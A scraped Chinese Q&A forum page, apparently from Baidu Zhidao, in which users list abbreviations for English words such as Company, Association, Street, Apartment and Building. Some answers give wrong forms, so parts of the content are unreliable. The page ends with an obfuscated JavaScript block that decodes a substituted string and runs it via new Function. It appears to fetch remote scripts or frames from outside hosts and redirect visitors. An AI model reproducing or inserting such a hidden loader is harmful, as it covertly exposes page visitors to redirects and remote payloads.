请教英文高手,以下单词的缩写?

2025-02-25 02:49:28
推荐回答(5个)
回答1:

回lz啦。。要是商业场合。。我再改改。。好像很重要的说。。呵呵
这些都有点的。。要是我打的不清楚您不要见怪。。
company的缩写是co.
Inc.的原形是Incorporated...
association的缩写呢。。是assoc.
Ltd. (limited)即有限责任公司(全写:Co., Ltd),
Inc. (incorporated) 为根据公司法组成的股份有限公司.
这个呢 顺便说一下区别吧。。。。呵呵
St.: street: 街
ave.(=avenue)大街, 途径, 林荫大道 这个大道”的意思比较多。。
boulevard
林荫大道这个是blvd.这个是法语呢。。。有一首法文歌就是这个名字。。应该英语里不常用吧。。
cir.恩。这个是圆圆啦。。
Apt. a是。。。appartment的缩写,虽然缩写成apt.,但读的时候,还应该读全这个单词。
ste.这个也有 但是不常用这种啦 你可以用suite就好。。。。ste.翻译成法语的sainte比较多。。是圣人的意思。。
bldg.。。。这个就是building啦

我还有查到一点资料。。。给你附上。。。
Ltd. (limited)即有限责任公司(全写:Co., Ltd),
Inc. (incorporated) 为根据公司法组成的股份有限公司.

只不过Co., Ltd似乎亚洲国家用得多,美国的话现在比较多Inc和LLC(Limited Liability Company).

=========================================

谢谢大家的帮助。 其他的基本都确定了,只有这三个:
Association Asso./Assn.
Street St./Strt.
Apartment Apt./Apmt.

是不是这三个单词的缩写,这两种都可以呢?

第一个用assoc.这个我敢保证是正确的 。。你那两个我就不知道了。。。官方应该是用assoc.这样子比较多
strt.和St.来说也是st.好哦。。你不觉得吗。。这个比较简洁啦。。而且多用。。strt.我只是在聊天的时候说说。。
apt.这个比较好。。官方说法。。字典上能查得到。。

回答2:

Company : Co.
Incorporated : Inc.
Association: Asso.
Corporation: Corp.
Limited : Ltd.
Street : St.
Avenue : Av.
Boulevard
Circle
Apartment
Suite
Building

回答者: UU过客 - 首席执行官 十五级 2009-6-5 09:48
Co.
Inc.
A.
Corp.
Ltd
Str.
Ave.
Blvd.
??
Apmt
??
Bldg

回答者: learnfrench - 经理 四级 2009-6-5 09:48
http://www.how-to-study.com/study-skills/en/notetaking/28/using-abbreviations-to-write-notes-quickly/

看看这个网址就行!

回答者: hollywood_222 - 经理 四级 2009-6-5 09:49
我就知道几个,INC,ASS,LIM,ST,AT,COR

回答者: wektej - 魔法师 四级 2009-6-5 09:49
Com
Inc
Asso
Corp
Ltd
St
Av
Blvd
Cir
Apt
Ste
Bldg

回答者: lzf200911 - 经理 四级 2009-6-5 09:56
Co.
Inc.
A.
Corp.
Ltd
Str.
Ave.
Blvd.
Cir.
Apmt
Ste.
Bldg.
这个答案绝对没问题

回答者: xiaop22110 - 魔法师 四级 2009-6-5 09:56
Company =Co.
Incorporated =Inc.
Association =Asso
Corporation =Corp.
Limited =Ltd.
Street =Str
Avenue =Ave
Boulevard =Blvd
Circle =Cir
Apartment =Apt (公寓)
Suite =Ste(套房)
Building =Bldg

在提供点额外的参考

电器 appl. = appliance
单人套间,供一个人居住的公寓,有厨房和浴室(没有睡房) bach. = bachelor
单人套间别名studio
房屋bldg.
地库bsmt. = basement
浴室bath. = bathroom
靠近(某些设施)cl. = close to
睡房B.R./bdrm = bedroom
方便conv. = convenient
地板fl.or flr. = floor
带家具furn. = furnished
不带家具unfurn. = unfurnished

车房gar. = garage
即时imm. = immediately
包括incl. = included
厨房kit. = kitchen
大lge. = large
起居室L.R. = living room
近nr. = near
停车位pkg. = parking
担保ref. = referer
一边相连dup. = duplex
小sm. = small
分租sub. =sublet
套房ste. = suite
水电设施util. = utility

回答者: szi - 高级经理 六级 2009-6-5 10:01
我回答问题一向很负责, 我保证答案全部正确! 请评我!!

都要加点!!!

Co.

Inc.

Assn. 参见: http://wiki.answers.com/Q/What_is_the_abbreviation_for_association

Corp.

Ltd.

St. 参见:http://wiki.answers.com/Q/What_is_the_correct_abbreviation_for_street

Ave.

Blvd.

Cir

Apt.
Ste 参见: http://answers.yahoo.com/question/index?qid=20080508061954AALoCEg

Bldg. 参见: http://answers.yahoo.com/question/index?qid=1006051313260

参考资料: 网络资源
回答者: yanhe0116 - 大魔法师 八级 2009-6-5 10:05
Co.
Inc.
Ass.
Corp.
Ltd.
St.
Ave.
Blvd.
Cir.
Apmt
Ste.
Bldg.

后面都要有点的,表示缩写。

p.s. 缩写Ass.那个确实有点搞,但是没错,因为我们的国外公司用的就是这个。。呵呵

回答者: 冷默无言 - 高级经理 六级 2009-6-5 10:06
Company ==> Co.
Incorporated ==> Inc.
Association ==> Assn
Corporation ==> Corp
Limited ==> Ltd
Street ==> St
Avenue ==> Av
Boulevard ==> Blvd
Circle ==> Cir
Apartment ==> Apt
Suite ==> Ste
Building ==> Bldg
应该就是如此吧。

回答者: lonesomeguy - 副总裁 十级 2009-6-5 10:08
单字母的都是和其他词一起缩写的
Co.
Inc.
A
Co.
Ltd.
St.
Ave.
Blvd.
C
Apt.
S
B

回答者: ddftt1234 - 举人 四级 2009-6-5 10:08
Company 的缩写是CO

Incorporated的缩写是INC
Association的缩写是Ast
Corporation的缩写是Corp
Limited缩写是Ltd
Street的缩写是St
Avenue的缩写是Ave
Boulevard缩写是BLVD或者是BL
Circle的缩写是Cir
Apartment缩写是Apt
Suite的缩写是Sut
Building 缩写是Bldg
貌似就是这些,不过有的 不是很确定,希望对你有帮助

回答者: 幸福D不灭 - 初入江湖 二级 2009-6-5 10:08
缩写通常是为了缩短词语,使其成为一个专有名词,易于阅读,使其更加的简单明了.希望下面的信息对你有所帮助.

1. Co. 或 C, 如 Co. Ltd.=Limited Company 或 LLC=Limited Liability Company
2. Inc.
3. Assoc 或 A, 如 NBA=National Basketball Association
4. Corp. 或 C,如 ABC=Australian Broadcasting Corporation
5. Ltd.参照上面
6. Str. 或 S, 如WSJ=Wall Street Journal
7. Ave. 如 Fifth Ave.=The Fifth Avenue
8. Blvd. 或 B, 如 ISB=International Speedway Boulevard (Daytona Beach, Florida)
9.这个我不太确定, CIRCLE本身也是缩写,CIRCLE=Curriculum and Instruction Resource Center Linking Educators, 单独缩写可以写成CCL吧
10. Apt.或 A, 如HAA=Houston Apartment Association
11. Ste.或 S, 如CS=Creative Suite (Adobe)
12. Bldg.或 B, 如BSC=Building Systems Councils

参考资料: http://www.acronymfinder.com/
回答者: Yeva - 助理 二级 2009-6-5 10:32
回lz啦。。要是商业场合。。我再改改。。好像很重要的说。。呵呵
这些都有点的。。要是我打的不清楚您不要见怪。。
company的缩写是co.
Inc.的原形是Incorporated...
association的缩写呢。。是assoc.
Ltd. (limited)即有限责任公司(全写:Co., Ltd),
Inc. (incorporated) 为根据公司法组成的股份有限公司.
这个呢 顺便说一下区别吧。。。。呵呵
St.: street: 街
ave.(=avenue)大街, 途径, 林荫大道 这个大道”的意思比较多。。
boulevard
林荫大道这个是blvd.这个是法语呢。。。有一首法文歌就是这个名字。。应该英语里不常用吧。。
cir.恩。这个是圆圆啦。。
Apt. a是。。。appartment的缩写,虽然缩写成apt.,但读的时候,还应该读全这个单词。
ste.这个也有 但是不常用这种啦 你可以用suite就好。。。。ste.翻译成法语的sainte比较多。。是圣人的意思。。
bldg.。。。这个就是building啦

我还有查到一点资料。。。给你附上。。。
Ltd. (limited)即有限责任公司(全写:Co., Ltd),
Inc. (incorporated) 为根据公司法组成的股份有限公司.

只不过Co., Ltd似乎亚洲国家用得多,美国的话现在比较多Inc和LLC(Limited Liability Company).

=========================================

谢谢大家的帮助。 其他的基本都确定了,只有这三个:
Association Asso./Assn.
Street St./Strt.
Apartment Apt./Apmt.

是不是这三个单词的缩写,这两种都可以呢?

第一个用assoc.这个我敢保证是正确的 。。你那两个我就不知道了。。。官方应该是用assoc.这样子比较多
strt.和St.来说也是st.好哦。。你不觉得吗。。这个比较简洁啦。。而且多用。。strt.我只是在聊天的时候说说。。
apt.这个比较好。。官方说法。。字典上能查得到。。

回答者: 天杀2008 - 高级经理 七级 2009-6-5 10:38
Co.
Inc.
A.
Corp.
Ltd
Str.
Ave.
Blvd.
Cir
Apmt
Ste
Bldg

回答者: xia00008 - 经理 四级 2009-6-5 10:49
Co
Inc
Assn
Corp
Ltd
St
Ave
Blvd
Cir
Apt
Ste
Bldg

补充:
当然都有点了,要不怎么叫缩写
有的词缩写却有几个,关键就是不同国家/地区的使用习惯不一样了

回答者: 西安路人甲 - 江湖新秀 五级 2009-6-5 11:34
Association Asso./Assn.
Street St.
Apartment Apt.

回答者: kingsabershiki - 助理 二级 2009-6-5 17:03
street--st.
apartment--apt.
associaitaion--ass'n.

回答者: 嘘晓吉 - 试用期 一级 2009-6-6 11:12
分类上升达人排行榜
用户名 动态 上周上升
Denver_space 5145
silkrug 4895
crcsteve 4005
lonesomeguy 3545
第47个浪人 2975
更多>>

订阅该问题
上海全脑教育传奇记忆快速记单词
上海全脑教育,传奇记忆,快速记忆,英语单词快速记忆,7天记住2000个英语单词,最新独创..
www.51ux.net
来百度推广英语

您想在自己的网站上展示百度“知道”上的问答吗?来获取免费代码吧!
--------------------------------------------------------------------------------
如要投诉或提出意见建议,请到
百度知道投诉吧反馈。

回答3:

Company 的缩写是CO

Incorporated的缩写是INC
Association的缩写是Ast
Corporation的缩写是Corp
Limited缩写是Ltd
Street的缩写是St
Avenue的缩写是Ave
Boulevard缩写是BLVD或者是BL
Circle的缩写是Cir
Apartment缩写是Apt
Suite的缩写是Sut
Building 缩写是Bldg
貌似就是这些,不过有的 不是很确定,希望对你有帮助

回答4:

我回答问题一向很负责, 我保证答案全部正确! 请评我!!

都要加点!!!

Co.

Inc.

Assn. 参见: http://wiki.answers.com/Q/What_is_the_abbreviation_for_association

Corp.

Ltd.

St. 参见:http://wiki.answers.com/Q/What_is_the_correct_abbreviation_for_street

Ave.

Blvd.

Cir

Apt.
Ste 参见: http://answers.yahoo.com/question/index?qid=20080508061954AALoCEg

Bldg. 参见: http://answers.yahoo.com/question/index?qid=1006051313260

回答5:

Co
Inc
Assn
Corp
Ltd
St
Ave
Blvd
Cir
Apt
Ste
Bldg

补充:
当然都有点了,要不怎么叫缩写
有的词缩写却有几个,关键就是不同国家/地区的使用习惯不一样了

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();